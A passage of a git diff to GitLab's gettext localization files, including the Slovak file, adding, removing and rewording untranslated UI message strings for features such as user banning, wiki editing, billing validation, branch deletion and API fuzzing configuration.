msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/sk_SK/gitlab.po b/locale/sk_SK/gitlab.po
index 56d301f148a..da6b9ebeef6 100644
--- a/locale/sk_SK/gitlab.po
+++ b/locale/sk_SK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:24\n"
+"PO-Revision-Date: 2021-06-01 20:47\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -341,6 +341,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -685,9 +692,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -790,10 +794,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -936,6 +940,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -989,9 +999,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1120,9 +1127,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1186,9 +1199,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1572,6 +1582,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1593,6 +1606,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1662,9 +1678,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1677,6 +1690,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1722,9 +1738,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1764,30 +1777,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1803,7 +1810,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1830,6 +1837,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2097,6 +2113,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2373,6 +2392,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2538,9 +2560,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2553,9 +2572,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2580,9 +2596,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2628,6 +2641,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2646,6 +2662,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2694,6 +2713,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2724,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2778,6 +2815,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2859,6 +2899,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2874,6 +2923,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2886,6 +2941,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2910,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2922,6 +2983,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2967,9 +3031,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -3010,9 +3071,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3382,9 +3440,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3487,6 +3542,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3700,6 +3758,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3793,9 +3854,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3865,7 +3923,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4346,6 +4404,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4376,16 +4437,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4970,7 +5028,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5039,6 +5097,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5195,6 +5256,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5213,6 +5277,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5228,6 +5295,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5246,6 +5316,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5261,6 +5334,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5273,6 +5367,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5282,6 +5379,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5516,6 +5619,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5528,6 +5634,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5537,6 +5646,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5558,12 +5673,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5597,6 +5718,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5609,6 +5733,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
